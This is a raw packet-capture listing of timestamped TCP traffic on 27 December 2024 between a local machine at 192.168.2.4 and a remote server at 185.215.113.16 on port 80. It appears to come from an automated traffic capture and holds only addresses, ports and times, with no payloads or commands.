Dec 27, 2024 15:04:10.816890955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.816961050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.817011118 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.817670107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.819734097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.819746017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.819813013 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.820081949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.820221901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.820276976 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.820301056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.820344925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.821099997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.821240902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.822016954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.822104931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.823323011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.823390961 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.823420048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.823818922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.823915958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.823961020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.824702024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.824804068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.824866056 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.825340986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.825397015 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.825406075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.826153040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.827146053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.868077993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.868117094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.868232012 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.868320942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.908598900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.908698082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.908776999 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.909008980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.909060955 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.909081936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.909877062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.909940004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.910021067 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.910805941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.910857916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.910903931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.911607027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.911669970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.915468931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.915487051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.915533066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.915899992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.916030884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.916809082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.916866064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.916870117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.916910887 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.917711020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.917721987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.917767048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.918575048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.918700933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.918803930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.919475079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.919626951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.919714928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.920278072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.920289993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.920344114 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.940124989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.940227032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.940277100 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.940596104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.940608025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.940665007 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.941390038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.941602945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.941713095 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.941745996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.942481995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.942528963 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.944016933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.944104910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.944148064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.944446087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.944572926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.944653034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.944699049 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.945453882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.945499897 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.945571899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.946546078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.946630001 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.947663069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.947887897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.947937965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.948030949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.948204994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.948290110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.948930979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.948999882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.949323893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.949558020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.949662924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.949707031 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.950504065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.992630005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.992672920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.992712021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.992793083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.992839098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.032758951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.032824039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.032897949 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.033162117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.077778101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.189363956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.189405918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.189516068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.189694881 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.189791918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.190515995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.190529108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.190581083 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.191292048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.191382885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.192173958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.192174911 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.192285061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.192667007 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.193043947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.193212032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.193262100 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.193919897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.194111109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.194760084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.194844961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.194956064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.195008993 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.195878029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.196022034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.196078062 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.196597099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.196708918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.196760893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.197496891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.197592020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.197654963 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.198431969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.198524952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.199261904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.199341059 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.199362040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.199405909 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.200124979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.200246096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.200333118 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.201091051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.201198101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.201241016 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.202019930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.202176094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.202788115 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.202795982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.202900887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.203672886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.203707933 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.203835011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.203886032 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.204560041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.204700947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.204766035 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.205446959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.205460072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.205499887 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.206372023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.206384897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.206448078 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.207171917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.207334995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.207969904 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.208082914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.208178997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.208225965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.208933115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.209078074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.209163904 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.209898949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.209948063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.210690022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.210692883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.210948944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.211003065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.211604118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.211815119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.211946964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.212480068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.212630033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.212676048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.213352919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.213478088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.214164019 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.214322090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.214363098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.215109110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.215145111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.215212107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.215257883 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.216062069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.216118097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.216176987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.216957092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.217005014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.217055082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.217761040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.217855930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.218012094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.218652010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.218724966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.218775988 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.219609976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.219654083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.219705105 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.220439911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.220568895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.220638037 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.221309900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.221452951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.221502066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.222213984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.222271919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.222943068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.243371010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.243387938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.243458986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.282243013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.282268047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.282327890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.282531023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.282645941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.282696009 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.283512115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.283763885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.283955097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.284439087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.289133072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.289197922 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.289221048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.289307117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.289347887 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.289408922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.289906025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.289961100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.290021896 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.291076899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.291135073 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.291182995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.291697025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.292155981 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.299096107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.299177885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.299232960 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.299447060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.313378096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.313457966 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.313478947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.313843012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.313855886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.313886881 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.314395905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.314409018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.314451933 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.315350056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.315402985 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.317795038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.317809105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.317848921 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.318084002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.318219900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.318861961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.318922043 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.320914030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.321027994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.321079969 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.321377039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.321429968 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.399749041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.399918079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.400002003 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.400094986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.406467915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.406508923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.406554937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.406814098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.406867027 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.407013893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.407114983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.407922983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.407989025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.408009052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.408050060 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.408786058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.408879042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.408946991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.409626961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.413006067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.413068056 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.413094997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.413428068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.413472891 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.413499117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.413992882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.414047956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.414136887 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.414530993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.414585114 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.414628029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.415410042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.415466070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.415537119 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.418934107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.418994904 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.419032097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.419347048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.419393063 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.437613010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.437671900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.437794924 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.437999010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.438117027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.438131094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.438163996 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.439023018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.439111948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.439125061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.439192057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.439697981 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:11.439918041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.441922903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:11.441982031 CET	49743	80	192.168.2.4	185.215.113.16
